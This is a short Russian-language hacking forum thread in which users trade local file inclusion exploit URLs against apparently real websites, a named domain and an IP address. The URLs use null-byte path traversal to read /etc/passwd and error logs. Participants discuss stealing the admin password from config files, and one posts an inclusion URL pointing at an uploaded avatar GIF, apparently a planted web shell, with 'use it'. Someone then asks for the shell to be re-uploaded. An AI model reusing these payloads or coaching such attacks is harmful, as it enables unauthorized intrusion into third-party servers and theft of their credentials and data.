База

[cardons]

Есть вот такая бага
http://lina2.ru/index.php?d=/etc/passwd%00&p=top&server=1&online=1
Можно ли как нибудь через неё бэкапнуть базу? Или узнать праоль админа

[}{0TT@БЬ)Ч]

я думаю бекап не получится,а вот пасс админа узнать можно если найдешь config и если прова позволят.Тут есть статья про локальный инклуд почитай может что и получится.

[cardons]

http://62.181.56.104/index.php?server=../error.log%00&
А с этим можно что нить сделать? Скока несмотрел фидео так и непонял как это замутить.
По этому ip еще telnet на 80 порту пашет

[KPOT_f!nd]

Бага ядовитый %НОЛЬ% - попробуй почитать passwd

[JFKenedi]

http://lina2.ru/index.php?d=../forum/uploads/av-399.gif%00&p=top&server=1&online=1
Пользуйся !

[cardons]

Спасибо!

[Vallez]

перезалейте шел плиз